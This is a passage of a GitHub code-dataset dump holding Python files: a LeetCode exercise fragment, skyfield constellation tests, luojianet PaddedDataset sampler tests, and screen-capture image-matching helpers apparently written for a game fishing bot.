nums[(-1) * i] = 0\n print(nums)\n\n\narr1 = [0, 1, 2, 0, 0,1,1,0, 4, 5, 0, 3, 12, 1]\n# arr1 = [0, 1, 2, 0, 0, 4, 5, 0, 3, 12, 1]\n\nt1 = datetime.now()\ns = Solution()\nprint(s.moveZeroes(arr1))\nt2 = datetime.now()\nprint(t2 - t1)\n","repo_name":"hopensic/LearnPython","sub_path":"src/leecode/30day/April/w1-d4-Move Zeroes.py","file_name":"w1-d4-Move Zeroes.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"40229006312","text":"from skyfield.api import (\n load_constellation_map, load_constellation_names, position_of_radec,\n)\nfrom skyfield.functions import load_bundled_npy\nfrom skyfield.timelib import Time, julian_date_of_besselian_epoch\n\ndef test_constellations():\n lookup = load_constellation_map()\n\n assert lookup(position_of_radec(0, 0)) == 'Psc'\n assert lookup(position_of_radec(360, 90)) == 'UMi'\n\n # (4.65, 0) used to be in Orion, but, precession\n assert lookup(position_of_radec(4.65, 0)) == 'Eri'\n assert lookup(position_of_radec(4.75, 0.3)) == 'Ori'\n\n # exploit extend() bug, issue 547\n B1875 = Time(None, julian_date_of_besselian_epoch(1875))\n assert lookup(position_of_radec(18.1747, 39., epoch=B1875)) == 'Her'\n assert lookup(position_of_radec(18.1753, 39., epoch=B1875)) == 'Lyr'\n\n # Verify we are not using the paper's original table, which had an error.\n star = position_of_radec(16.323165, -18.848203, epoch=B1875)\n assert lookup(star) == 'Sco'\n\n # Test vectorization.\n assert list(\n lookup(position_of_radec([4.65, 4.75], [0, 0.3]))\n ) == ['Eri', 'Ori']\n\ndef test_that_constellation_abbreviations_match():\n # This test should ideally not have to load the underlying data\n # source that is behind load_constellation_map(), but for the moment\n # I do not see a quick alternative.\n arrays = load_bundled_npy('constellations.npz')\n abbrevs1 = set(arrays['indexed_abbreviations'])\n\n abbrevs2 = {abbrev for abbrev, name in load_constellation_names()}\n assert abbrevs1 == abbrevs2\n","repo_name":"skyfielders/python-skyfield","sub_path":"skyfield/tests/test_constellations.py","file_name":"test_constellations.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":1123,"dataset":"github-code","pt":"9"} +{"seq_id":"33714845734","text":"from io import BytesIO\nimport copy\nimport os\nimport numpy as np\nimport pytest\nfrom PIL import Image\n\nimport luojianet_ms.dataset as ds\nfrom luojianet_ms.mindrecord import FileWriter\nimport luojianet_ms.dataset.vision.c_transforms as V_C\n\nFILES_NUM = 4\nCV_DIR_NAME = \"../data/mindrecord/testImageNetData\"\n\n\ndef generator_5():\n for i in range(0, 5):\n yield (np.array([i]),)\n\n\ndef generator_8():\n for i in range(5, 8):\n yield (np.array([i]),)\n\n\ndef generator_10():\n for i in range(0, 10):\n yield (np.array([i]),)\n\n\ndef generator_20():\n for i in range(10, 20):\n yield (np.array([i]),)\n\n\ndef generator_30():\n for i in range(20, 30):\n yield (np.array([i]),)\n\n\ndef test_TFRecord_Padded():\n DATA_DIR = [\"../data/dataset/test_tf_file_3_images/train-0000-of-0001.data\"]\n SCHEMA_DIR = \"../data/dataset/test_tf_file_3_images/datasetSchema.json\"\n result_list = [[159109, 2], [192607, 3], [179251, 4], [1, 5]]\n verify_list = []\n shard_num = 4\n for i in range(shard_num):\n data = ds.TFRecordDataset(DATA_DIR, SCHEMA_DIR, columns_list=[\"image\"],\n shuffle=False, shard_equal_rows=True)\n\n padded_samples = [{'image': np.zeros(1, np.uint8)}, {'image': np.zeros(2, np.uint8)},\n {'image': np.zeros(3, np.uint8)}, {'image': np.zeros(4, np.uint8)},\n {'image': np.zeros(5, np.uint8)}]\n\n padded_ds = ds.PaddedDataset(padded_samples)\n concat_ds = data + padded_ds\n testsampler = ds.DistributedSampler(num_shards=shard_num, shard_id=i, shuffle=False, num_samples=None)\n concat_ds.use_sampler(testsampler)\n shard_list = []\n for item in concat_ds.create_dict_iterator(num_epochs=1, output_numpy=True):\n shard_list.append(len(item['image']))\n verify_list.append(shard_list)\n assert verify_list == result_list\n\n\ndef test_GeneratorDataSet_Padded():\n result_list = []\n for i in range(10):\n tem_list = []\n tem_list.append(i)\n tem_list.append(10 + i)\n result_list.append(tem_list)\n\n verify_list = []\n data1 = ds.GeneratorDataset(generator_20, [\"col1\"])\n data2 = ds.GeneratorDataset(generator_10, [\"col1\"])\n data3 = data2 + data1\n shard_num = 10\n for i in range(shard_num):\n distributed_sampler = ds.DistributedSampler(num_shards=shard_num, shard_id=i, shuffle=False, num_samples=None)\n data3.use_sampler(distributed_sampler)\n tem_list = []\n for ele in data3.create_dict_iterator(num_epochs=1, output_numpy=True):\n tem_list.append(ele['col1'][0])\n verify_list.append(tem_list)\n\n assert verify_list == result_list\n\n\ndef test_Reapeat_afterPadded():\n result_list = [1, 3, 5, 7]\n verify_list = []\n\n data1 = [{'image': np.zeros(1, np.uint8)}, {'image': np.zeros(2, np.uint8)},\n {'image': np.zeros(3, np.uint8)}, {'image': np.zeros(4, np.uint8)},\n {'image': np.zeros(5, np.uint8)}]\n data2 = [{'image': np.zeros(6, np.uint8)}, {'image': np.zeros(7, np.uint8)},\n {'image': np.zeros(8, np.uint8)}]\n\n ds1 = ds.PaddedDataset(data1)\n ds2 = ds.PaddedDataset(data2)\n ds3 = ds1 + ds2\n\n testsampler = ds.DistributedSampler(num_shards=2, shard_id=0, shuffle=False, num_samples=None)\n ds3.use_sampler(testsampler)\n repeat_num = 2\n ds3 = ds3.repeat(repeat_num)\n for item in ds3.create_dict_iterator(num_epochs=1, output_numpy=True):\n verify_list.append(len(item['image']))\n\n assert verify_list == result_list * repeat_num\n\n\ndef test_bath_afterPadded():\n data1 = [{'image': np.zeros(1, np.uint8)}, {'image': np.zeros(1, np.uint8)},\n {'image': np.zeros(1, np.uint8)}, {'image': np.zeros(1, np.uint8)},\n {'image': np.zeros(1, np.uint8)}]\n data2 = [{'image': np.zeros(1, np.uint8)}, {'image': np.zeros(1, np.uint8)},\n {'image': np.zeros(1, np.uint8)}]\n\n ds1 = ds.PaddedDataset(data1)\n ds2 = ds.PaddedDataset(data2)\n ds3 = ds1 + ds2\n\n testsampler = ds.DistributedSampler(num_shards=2, shard_id=0, shuffle=False, num_samples=None)\n ds3.use_sampler(testsampler)\n\n ds4 = ds3.batch(2)\n assert sum([1 for _ in ds4]) == 2\n\n\ndef test_Unevenly_distributed():\n result_list = [[1, 4, 7], [2, 5, 8], [3, 6]]\n verify_list = []\n\n data1 = [{'image': np.zeros(1, np.uint8)}, {'image': np.zeros(2, np.uint8)},\n {'image': np.zeros(3, np.uint8)}, {'image': np.zeros(4, np.uint8)},\n {'image': np.zeros(5, np.uint8)}]\n data2 = [{'image': np.zeros(6, np.uint8)}, {'image': np.zeros(7, np.uint8)},\n {'image': np.zeros(8, np.uint8)}]\n\n testsampler = ds.DistributedSampler(num_shards=4, shard_id=0, shuffle=False, num_samples=None, offset=1)\n\n ds1 = ds.PaddedDataset(data1)\n ds2 = ds.PaddedDataset(data2)\n ds3 = ds1 + ds2\n numShard = 3\n for i in range(numShard):\n tem_list = []\n testsampler = ds.DistributedSampler(num_shards=numShard, shard_id=i, shuffle=False, num_samples=None)\n ds3.use_sampler(testsampler)\n for item in ds3.create_dict_iterator(num_epochs=1, output_numpy=True):\n tem_list.append(len(item['image']))\n verify_list.append(tem_list)\n assert verify_list == result_list\n\n\ndef test_three_datasets_connected():\n result_list = []\n for i in range(10):\n tem_list = []\n tem_list.append(i)\n tem_list.append(10 + i)\n tem_list.append(20 + i)\n result_list.append(tem_list)\n\n verify_list = []\n data1 = ds.GeneratorDataset(generator_10, [\"col1\"])\n data2 = ds.GeneratorDataset(generator_20, [\"col1\"])\n data3 = ds.GeneratorDataset(generator_30, [\"col1\"])\n data4 = data1 + data2 + data3\n shard_num = 10\n for i in range(shard_num):\n distributed_sampler = ds.DistributedSampler(num_shards=shard_num, shard_id=i, shuffle=False, num_samples=None)\n data4.use_sampler(distributed_sampler)\n tem_list = []\n for ele in data4.create_dict_iterator(num_epochs=1, output_numpy=True):\n tem_list.append(ele['col1'][0])\n verify_list.append(tem_list)\n\n assert verify_list == result_list\n\n\ndef test_raise_error():\n data1 = [{'image': np.zeros(0, np.uint8)}, {'image': np.zeros(0, np.uint8)},\n {'image': np.zeros(0, np.uint8)}, {'image': np.zeros(0, np.uint8)},\n {'image': np.zeros(0, np.uint8)}]\n data2 = [{'image': np.zeros(0, np.uint8)}, {'image': np.zeros(0, np.uint8)},\n {'image': np.zeros(0, np.uint8)}]\n\n ds1 = ds.PaddedDataset(data1)\n ds4 = ds1.batch(2)\n ds2 = ds.PaddedDataset(data2)\n ds3 = ds4 + ds2\n\n with pytest.raises(TypeError) as excinfo:\n testsampler = ds.DistributedSampler(num_shards=2, shard_id=0, shuffle=False, num_samples=None)\n ds3.use_sampler(testsampler)\n assert excinfo.type == 'TypeError'\n\n with pytest.raises(TypeError) as excinfo:\n otherSampler = ds.SequentialSampler()\n ds3.use_sampler(otherSampler)\n assert excinfo.type == 'TypeError'\n\n with pytest.raises(ValueError) as excinfo:\n testsampler = ds.DistributedSampler(num_shards=2, shard_id=0, shuffle=True, num_samples=None)\n ds3.use_sampler(testsampler)\n assert excinfo.type == 'ValueError'\n\n with pytest.raises(ValueError) as excinfo:\n testsampler = ds.DistributedSampler(num_shards=2, shard_id=0, shuffle=False, num_samples=5)\n ds3.use_sampler(testsampler)\n assert excinfo.type == 'ValueError'\n\ndef test_imagefolder_error():\n DATA_DIR = \"../data/dataset/testPK/data\"\n data = ds.ImageFolderDataset(DATA_DIR, num_samples=14)\n\n data1 = [{'image': np.zeros(1, np.uint8), 'label': np.array(0, np.int32)},\n {'image': np.zeros(2, np.uint8), 'label': np.array(1, np.int32)},\n {'image': np.zeros(3, np.uint8), 'label': np.array(0, np.int32)},\n {'image': np.zeros(4, np.uint8), 'label': np.array(1, np.int32)},\n {'image': np.zeros(5, np.uint8), 'label': np.array(0, np.int32)},\n {'image': np.zeros(6, np.uint8), 'label': np.array(1, np.int32)}]\n\n data2 = ds.PaddedDataset(data1)\n data3 = data + data2\n with pytest.raises(ValueError) as excinfo:\n testsampler = ds.DistributedSampler(num_shards=5, shard_id=4, shuffle=False, num_samples=None)\n data3.use_sampler(testsampler)\n assert excinfo.type == 'ValueError'\n\ndef test_imagefolder_padded():\n DATA_DIR = \"../data/dataset/testPK/data\"\n data = ds.ImageFolderDataset(DATA_DIR)\n\n data1 = [{'image': np.zeros(1, np.uint8), 'label': np.array(0, np.int32)},\n {'image': np.zeros(2, np.uint8), 'label': np.array(1, np.int32)},\n {'image': np.zeros(3, np.uint8), 'label': np.array(0, np.int32)},\n {'image': np.zeros(4, np.uint8), 'label': np.array(1, np.int32)},\n {'image': np.zeros(5, np.uint8), 'label': np.array(0, np.int32)},\n {'image': np.zeros(6, np.uint8), 'label': np.array(1, np.int32)}]\n\n data2 = ds.PaddedDataset(data1)\n data3 = data + data2\n testsampler = ds.DistributedSampler(num_shards=5, shard_id=4, shuffle=False, num_samples=None)\n data3.use_sampler(testsampler)\n assert sum([1 for _ in data3]) == 10\n verify_list = []\n\n for ele in data3.create_dict_iterator(num_epochs=1, output_numpy=True):\n verify_list.append(len(ele['image']))\n assert verify_list[8] == 1\n assert verify_list[9] == 6\n\n\ndef test_imagefolder_padded_with_decode():\n num_shards = 5\n count = 0\n for shard_id in range(num_shards):\n DATA_DIR = \"../data/dataset/testPK/data\"\n data = ds.ImageFolderDataset(DATA_DIR)\n\n white_io = BytesIO()\n Image.new('RGB', (224, 224), (255, 255, 255)).save(white_io, 'JPEG')\n padded_sample = {}\n padded_sample['image'] = np.array(bytearray(white_io.getvalue()), dtype='uint8')\n padded_sample['label'] = np.array(-1, np.int32)\n\n white_samples = [padded_sample, padded_sample, padded_sample, padded_sample]\n data2 = ds.PaddedDataset(white_samples)\n data3 = data + data2\n\n testsampler = ds.DistributedSampler(num_shards=num_shards, shard_id=shard_id, shuffle=False, num_samples=None)\n data3.use_sampler(testsampler)\n data3 = data3.map(operations=V_C.Decode(), input_columns=\"image\")\n shard_sample_count = 0\n for ele in data3.create_dict_iterator(num_epochs=1, output_numpy=True):\n print(\"label: {}\".format(ele['label']))\n count += 1\n shard_sample_count += 1\n assert shard_sample_count in (9, 10)\n assert count == 48\n\n\ndef test_imagefolder_padded_with_decode_and_get_dataset_size():\n num_shards = 5\n count = 0\n for shard_id in range(num_shards):\n DATA_DIR = \"../data/dataset/testPK/data\"\n data = ds.ImageFolderDataset(DATA_DIR)\n\n white_io = BytesIO()\n Image.new('RGB', (224, 224), (255, 255, 255)).save(white_io, 'JPEG')\n padded_sample = {}\n padded_sample['image'] = np.array(bytearray(white_io.getvalue()), dtype='uint8')\n padded_sample['label'] = np.array(-1, np.int32)\n\n white_samples = [padded_sample, padded_sample, padded_sample, padded_sample]\n data2 = ds.PaddedDataset(white_samples)\n data3 = data + data2\n\n testsampler = ds.DistributedSampler(num_shards=num_shards, shard_id=shard_id, shuffle=False, num_samples=None)\n data3.use_sampler(testsampler)\n shard_dataset_size = data3.get_dataset_size()\n data3 = data3.map(operations=V_C.Decode(), input_columns=\"image\")\n shard_sample_count = 0\n for ele in data3.create_dict_iterator(num_epochs=1, output_numpy=True):\n print(\"label: {}\".format(ele['label']))\n count += 1\n shard_sample_count += 1\n assert shard_sample_count in (9, 10)\n assert shard_dataset_size == shard_sample_count\n assert count == 48\n\n\ndef test_more_shard_padded():\n result_list = []\n for i in range(8):\n result_list.append(1)\n result_list.append(0)\n\n data1 = ds.GeneratorDataset(generator_5, [\"col1\"])\n data2 = ds.GeneratorDataset(generator_8, [\"col1\"])\n data3 = data1 + data2\n vertifyList = []\n numShard = 9\n for i in range(numShard):\n tem_list = []\n testsampler = ds.DistributedSampler(num_shards=numShard, shard_id=i, shuffle=False, num_samples=None)\n data3.use_sampler(testsampler)\n for item in data3.create_dict_iterator(num_epochs=1, output_numpy=True):\n tem_list.append(item['col1'])\n vertifyList.append(tem_list)\n\n assert [len(ele) for ele in vertifyList] == result_list\n\n vertifyList1 = []\n result_list1 = []\n for i in range(8):\n result_list1.append([i + 1])\n result_list1.append([])\n\n data1 = [{'image': np.zeros(1, np.uint8)}, {'image': np.zeros(2, np.uint8)},\n {'image': np.zeros(3, np.uint8)}, {'image': np.zeros(4, np.uint8)},\n {'image': np.zeros(5, np.uint8)}]\n data2 = [{'image': np.zeros(6, np.uint8)}, {'image': np.zeros(7, np.uint8)},\n {'image': np.zeros(8, np.uint8)}]\n\n ds1 = ds.PaddedDataset(data1)\n ds2 = ds.PaddedDataset(data2)\n ds3 = ds1 + ds2\n\n for i in range(numShard):\n tem_list = []\n testsampler = ds.DistributedSampler(num_shards=numShard, shard_id=i, shuffle=False, num_samples=None)\n ds3.use_sampler(testsampler)\n for item in ds3.create_dict_iterator(num_epochs=1, output_numpy=True):\n tem_list.append(len(item['image']))\n vertifyList1.append(tem_list)\n\n assert vertifyList1 == result_list1\n\n\ndef get_data(dir_name):\n \"\"\"\n usage: get data from imagenet dataset\n\n params:\n dir_name: directory containing folder images and annotation information\n \"\"\"\n if not os.path.isdir(dir_name):\n raise IOError(\"Directory {} not exists\".format(dir_name))\n img_dir = os.path.join(dir_name, \"images\")\n ann_file = os.path.join(dir_name, \"annotation.txt\")\n with open(ann_file, \"r\") as file_reader:\n lines = file_reader.readlines()\n\n data_list = []\n for i, line in enumerate(lines):\n try:\n filename, label = line.split(\",\")\n label = label.strip(\"\\n\")\n with open(os.path.join(img_dir, filename), \"rb\") as file_reader:\n img = file_reader.read()\n data_json = {\"id\": i,\n \"file_name\": filename,\n \"data\": img,\n \"label\": int(label)}\n data_list.append(data_json)\n except FileNotFoundError:\n continue\n return data_list\n\n\n@pytest.fixture(name=\"remove_mindrecord_file\")\ndef add_and_remove_cv_file():\n \"\"\"add/remove cv file\"\"\"\n file_name = os.environ.get('PYTEST_CURRENT_TEST').split(':')[-1].split(' ')[0]\n paths = [\"{}{}\".format(file_name, str(x).rjust(1, '0'))\n for x in range(FILES_NUM)]\n try:\n for x in paths:\n if os.path.exists(\"{}\".format(x)):\n os.remove(\"{}\".format(x))\n if os.path.exists(\"{}.db\".format(x)):\n os.remove(\"{}.db\".format(x))\n writer = FileWriter(file_name, FILES_NUM)\n data = get_data(CV_DIR_NAME)\n cv_schema_json = {\"id\": {\"type\": \"int32\"},\n \"file_name\": {\"type\": \"string\"},\n \"label\": {\"type\": \"int32\"},\n \"data\": {\"type\": \"bytes\"}}\n writer.add_schema(cv_schema_json, \"img_schema\")\n writer.add_index([\"file_name\", \"label\"])\n writer.write_raw_data(data)\n writer.commit()\n yield \"yield_cv_data\"\n except Exception as error:\n for x in paths:\n os.remove(\"{}\".format(x))\n os.remove(\"{}.db\".format(x))\n raise error\n else:\n for x in paths:\n os.remove(\"{}\".format(x))\n os.remove(\"{}.db\".format(x))\n\n\ndef test_Mindrecord_Padded(remove_mindrecord_file):\n result_list = []\n verify_list = [[1, 2], [3, 4], [5, 11], [6, 12], [7, 13], [8, 14], [9], [10]]\n num_readers = 4\n file_name = os.environ.get('PYTEST_CURRENT_TEST').split(':')[-1].split(' ')[0]\n data_set = ds.MindDataset(file_name + \"0\", ['file_name'], num_readers, shuffle=False)\n data1 = [{'file_name': np.array(b'image_00011.jpg', dtype='|S15')},\n {'file_name': np.array(b'image_00012.jpg', dtype='|S15')},\n {'file_name': np.array(b'image_00013.jpg', dtype='|S15')},\n {'file_name': np.array(b'image_00014.jpg', dtype='|S15')}]\n ds1 = ds.PaddedDataset(data1)\n ds2 = data_set + ds1\n shard_num = 8\n for i in range(shard_num):\n testsampler = ds.DistributedSampler(num_shards=shard_num, shard_id=i, shuffle=False, num_samples=None)\n ds2.use_sampler(testsampler)\n tem_list = []\n for ele in ds2.create_dict_iterator(num_epochs=1, output_numpy=True):\n tem_list.append(int(ele['file_name'].tostring().decode().lstrip('image_').rstrip('.jpg')))\n result_list.append(tem_list)\n assert result_list == verify_list\n\n\ndef test_clue_padded_and_skip_with_0_samples():\n \"\"\"\n Test num_samples param of CLUE dataset\n \"\"\"\n TRAIN_FILE = '../data/dataset/testCLUE/afqmc/train.json'\n\n data = ds.CLUEDataset(TRAIN_FILE, task='AFQMC', usage='train')\n count = 0\n for _ in data.create_dict_iterator(num_epochs=1, output_numpy=True):\n count += 1\n assert count == 3\n\n data_copy1 = copy.deepcopy(data)\n\n sample = {\"label\": np.array(1, np.string_),\n \"sentence1\": np.array(1, np.string_),\n \"sentence2\": np.array(1, np.string_)}\n samples = [sample]\n padded_ds = ds.PaddedDataset(samples)\n dataset = data + padded_ds\n testsampler = ds.DistributedSampler(num_shards=2, shard_id=1, shuffle=False, num_samples=None)\n dataset.use_sampler(testsampler)\n assert dataset.get_dataset_size() == 2\n count = 0\n for data in dataset.create_dict_iterator(num_epochs=1, output_numpy=True):\n count += 1\n assert count == 2\n\n dataset = dataset.skip(count=2) # dataset2 has none samples\n count = 0\n for data in dataset.create_dict_iterator(num_epochs=1, output_numpy=True):\n count += 1\n assert count == 0\n\n with pytest.raises(ValueError, match=\"There are no samples in the \"):\n dataset = dataset.concat(data_copy1)\n count = 0\n for data in dataset.create_dict_iterator(num_epochs=1, output_numpy=True):\n count += 1\n assert count == 2\n\n\ndef test_celeba_padded():\n data = ds.CelebADataset(\"../data/dataset/testCelebAData/\")\n\n padded_samples = [{'image': np.zeros(1, np.uint8), 'attr': np.zeros(1, np.uint32)}]\n padded_ds = ds.PaddedDataset(padded_samples)\n data = data + padded_ds\n dis_sampler = ds.DistributedSampler(num_shards=2, shard_id=1, shuffle=False, num_samples=None)\n data.use_sampler(dis_sampler)\n data = data.repeat(2)\n\n count = 0\n for _ in data.create_dict_iterator(num_epochs=1, output_numpy=True):\n count = count + 1\n assert count == 4\n\n\nif __name__ == '__main__':\n test_TFRecord_Padded()\n test_GeneratorDataSet_Padded()\n test_Reapeat_afterPadded()\n test_bath_afterPadded()\n test_Unevenly_distributed()\n test_three_datasets_connected()\n test_raise_error()\n test_imagefolden_padded()\n test_more_shard_padded()\n test_Mindrecord_Padded(add_and_remove_cv_file)\n","repo_name":"WHULuoJiaTeam/luojianet","sub_path":"tests/ut/python/dataset/test_paddeddataset.py","file_name":"test_paddeddataset.py","file_ext":"py","file_size_in_byte":19452,"program_lang":"python","lang":"en","doc_type":"code","stars":167,"dataset":"github-code","pt":"9"} +{"seq_id":"10724744515","text":"import numpy as np\nimport cv2\nfrom PIL import ImageGrab, ImageDraw, Image\nfrom enum import Enum\nimport threading\nimport wedkarz\n# do testow czasami przydatne\nimport matplotlib.pyplot as plt\nfrom mss import mss\n\nsct = mss()\n\n\n# szuka danej bitmapy w danym obszarze i zwraca jej prawy dolny rog jako koordynaty [uwzglednia maske (pusty bit)]\ndef searchInWindow(window, szukany):\n\t# window1 prawy gorny rog okna, window2 lewy dolny\n\twindow1 = (window[0], window[1])\n\twindow2 = (window[2], window[3])\n\tbox1 = szukany.getbbox()\n\timg = ImageGrab.grab(bbox=window1 + window2)\n\tszer = window2[0] - window1[0]\n\twys = window2[1] - window1[1]\n\tsum = box1[2] * box1[3]\n\tcordinate3 = 0, 0\n\tfor a in range(0, szer):\n\t\tfor b in range(0, wys):\n\t\t\tcordinate2 = a, b\n\t\t\tcordinate1 = 0, 0\n\t\t\tif (img.getpixel(cordinate2)) == (szukany.getpixel(cordinate1)):\n\t\t\t\t# print(f'perwszy bit zgodny w: : {szukany.filename}')\n\t\t\t\tnumberOfCorrectBits = 1\n\t\t\t\texitLoopBit = 0\n\t\t\t\tfor j in range(0, box1[2]):\n\t\t\t\t\tif (exitLoopBit == 1):\n\t\t\t\t\t\tbreak\n\t\t\t\t\tfor i in range(0, box1[3]):\n\t\t\t\t\t\tif (numberOfCorrectBits == sum):\n\t\t\t\t\t\t\tpozycja = cordinate3[0] + window1[0], cordinate3[1] + window1[1]\n\t\t\t\t\t\t\treturn pozycja\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tcordinate1 = j, i\n\t\t\t\t\t\t\tcordinate3 = j + cordinate2[0], i + cordinate2[1]\n\t\t\t\t\t\t\tif szukany.getpixel(cordinate1) == wedkarz.pustybit:\n\t\t\t\t\t\t\t\t# print(\"pusty\")\n\t\t\t\t\t\t\t\tnumberOfCorrectBits = numberOfCorrectBits + 1\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t# print(\"zgodny\",szukany.filename)\n\t\t\t\t\t\t\t\tif cordinate3[0] >= szer or cordinate3[1] >= wys:\n\t\t\t\t\t\t\t\t\tnumberOfCorrectBits = 0\n\t\t\t\t\t\t\t\t\texitLoopBit = 1\n\t\t\t\t\t\t\t\t\t# print(\"POZA INDEKSEM\")\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\tif img.getpixel(cordinate3) == szukany.getpixel(cordinate1):\n\t\t\t\t\t\t\t\t\tnumberOfCorrectBits = numberOfCorrectBits + 1\n\t\t\t\t\t\t\t\t\tif (numberOfCorrectBits == sum):\n\t\t\t\t\t\t\t\t\t\tpozycja = cordinate3[0] + window1[0], cordinate3[1] + window1[1]\n\t\t\t\t\t\t\t\t\t\treturn pozycja\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tnumberOfCorrectBits = 0\n\t\t\t\t\t\t\t\t\texitLoopBit = 1\n\t\t\t\t\t\t\t\t\tbreak\n\treturn 0\n\n\ndef find_logo(botPosition, logo):\n\tbox3 = logo.getbbox()\n\timg = ImageGrab.grab()\n\tscreenSize = [0, 0, img.size[0], img.size[1]]\n\tscreenSize = wedkarz.botWindowPosition(screenSize, botPosition, img)\n\th = 0\n\tprint(\n\t\tf\"dla watku {threading.current_thread().name} obszar poszukiwań: szerokosc: {screenSize[0]} {screenSize[2]} wysokosc: {screenSize[1]} {screenSize[3]}\")\n\tfor a in range(screenSize[0], (screenSize[2])):\n\t\tfor b in range(screenSize[1], (screenSize[3])):\n\t\t\tcordinate2 = a, b\n\t\t\tcordinate1 = 0, 0\n\t\t\tif (img.getpixel(cordinate2)) == (logo.getpixel(cordinate1)):\n\t\t\t\tfor j in range(0, box3[2]):\n\t\t\t\t\tfor i in range(0, box3[3]):\n\t\t\t\t\t\tcordinate1 = j, i\n\t\t\t\t\t\tcordinate3 = j + cordinate2[0], i + cordinate2[1]\n\t\t\t\t\t\tif img.getpixel(cordinate3) == logo.getpixel(cordinate1):\n\t\t\t\t\t\t\th = h + 1\n\t\t\t\t\t\t\tif (h == box3[2] + 1 * box3[3] + 1):\n\t\t\t\t\t\t\t\tprint(\"znaleziono Logo gry\")\n\t\t\t\t\t\t\t\treturn cordinate3\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t# print(\"blad zgodnosci pixela: \", h)\n\t\t\t\t\t\t\th = 0\n\t\t\t\t\t\t\tbreak\n\treturn 0\n\n\ndef numpySameFinder(img, sample, filter):\n\t\"\"\"\n\tTakes 2 images and compare them using numpy\n\tif they are the same return 1 else return 0\n\t:param img: numpy Array OR tuple with all corners of the image position from screen\n\t:param sample: numpy array of the sample\n\t:param filter: numpy 1:3 array if we wanna use filter otherwise can be any\n\t:return: 1 SAME 0 DIFFRENT\n\t\"\"\"\n\tif type(img) is tuple:\n\t\tbounding_box = {'top': img[1], 'left': img[0], 'width': img[2] - img[0],\n\t\t 'height': img[3] - img[1]}\n\t\tsct_img = sct.grab(bounding_box) # pobranie wycinka z monitora do buffora\n\t\timg = Image.frombytes(\"RGB\", sct_img.size, sct_img.bgra, \"raw\", \"BGRX\") # tworzenie kopii wycinku z bufora\n\t\timg = np.array(img) # konwersja z wycinka obrazu z bufora do tablicy numpy\n\tif sample.shape != img.shape:\n\t\tprint(\"shape warning\")\n\t\tprint(sample.shape, img.shape)\n\t\treturn 0\n\tcolor_filter_30 = np.array([0, 15, 255]) # Losowy kolor by w niego zmienic pixele nie majace znaczenia\n\tif type(filter) == type(color_filter_30):\n\t\timg[np.all(img != filter,\n\t\t axis=-1)] = color_filter_30 # Dla wszystkich pixeli jezeli ktorykolwiek jest inny niz wazny zamien na taki sam kolor\n\t# plt.imshow(img)\n\t# plt.show()\n\t# plt.imshow(sample)\n\t# plt.show()\n\tcomparison = sample == img\n\tequal_arrays = comparison.all()\n\tif equal_arrays:\n\t\treturn 1\n\telse:\n\t\treturn 0\n\n\ndef takeSample(searchWindow, filename, filter):\n\tbounding_box = {'top': searchWindow[1], 'left': searchWindow[0], 'width': searchWindow[2] - searchWindow[0],\n\t 'height': searchWindow[3] - searchWindow[1]}\n\tsct_img = sct.grab(bounding_box) # pobranie wycinka z monitora do buffora\n\timg = Image.frombytes(\"RGB\", sct_img.size, sct_img.bgra, \"raw\", \"BGRX\") # tworzenie kopii wycinku z bufora\n\timg = np.array(img) # konwersja z wycinka obrazu z bufora do tablicy numpy\n\tif filter != 1:\n\t\tcolor_filter_30 = np.array([0, 15, 255]) # Losowy kolor by w niego zmienic pixele nie majace znaczenia\n\t\timg[np.all(img != wedkarz.color_filter_20,\n\t\t axis=-1)] = color_filter_30 # Dla wszystkich pixeli jezeli ktorykolwiek jest inny niz wazny zamien na taki sam kolor\n\tplt.imsave(\"img\\debugger\\sample\\\\\" + filename + \".png\", img)\n\treturn 0\n\n\ndef numpySimilarFinder(searchWindow, sample, similarity):\n\t\"\"\"\n\tTakes part of screen and try to find sample image inside it\n\t:param searchWindow: tuple with all corners of screen you wanna search\n\t:param sample: numpy array of the sample\n\t:param similarity: 0-1 value how much sample was detected by search algorytm\n\t:return: sample location,array of searched screen similarity threshold met | 0,0 threshold not met\n\t\"\"\"\n\tif isinstance(searchWindow, (np.ndarray)):\n\t\timg = searchWindow\n\telse:\n\t\tbounding_box = {'top': searchWindow[1], 'left': searchWindow[0], 'width': searchWindow[2] - searchWindow[0],\n\t\t 'height': searchWindow[3] - searchWindow[1]}\n\t\tsct_img = sct.grab(bounding_box) # pobranie wycinka z monitora do buffora\n\t\timg = Image.frombytes(\"RGB\", sct_img.size, sct_img.bgra, \"raw\", \"BGRX\") # tworzenie kopii wycinku z bufora\n\t\timg = np.array(img) # konwersja z wycinka obrazu z bufora do tablicy numpy\n\tresult = cv2.matchTemplate(img, sample, cv2.TM_SQDIFF_NORMED) # wyszukiwanie obrazu w obrazie\n\tmn, x, mnLoc, maxLoc = cv2.minMaxLoc(result) # wynik obrazu w obrazie (mn o ile odbiega od przykladu)\n\tif mn < similarity:\n\t\t# plt.imshow(img)\n\t\t# plt.show()\n\t\t# print(f\"Podobienstwo :\", 1-mn, threading.current_thread().name)\n\t\tplt.imsave('datasets\\Images\\Samples\\\\'+ str(mn) + '.png', img)\n\t\treturn (img, 1 - mn)\n\n\treturn (0, 0)\n\n\ndef numpyFindWindowInArray(array, size, similarity):\n\t\"\"\"\n\tThis function search for \"window\" in image\n\tit sums rows value in turn and compare them in pairs\n\tif absolute value of subbtract of 2 rows is bigger than treshold\n\tthen it resize array into smaller one\n\t:param array:\n\t:param position:\n\t:param size:\n\t:param similarity:\n\t:return:\n\t\"\"\"\n\tx = np.shape(array)\n\t# print(similarity)\n\t# print(x)\n\tTMParray = array[:, :, :]\n\txline=[]\n\tyline=[]\n\n\tfor i in range(0,x[1]-1):\n\t\tx1=TMParray[:,i,:].sum(dtype=int)\n\t\tx2=TMParray[:,i+1,:].sum(dtype=int)\n\t\tx3=x1-x2\n\t\tif abs(x3) >= 5000:\n\t\t\txline.append(i)\n\t\t\t# print(i,':',x1,x2,'abs',abs(x3),'x3',x3)\n\n\tif len(xline)<2:\n\t\treturn TMParray\n\twidth = xline[-1]-xline[0] + 2\n\t# print(xline)\n\t# 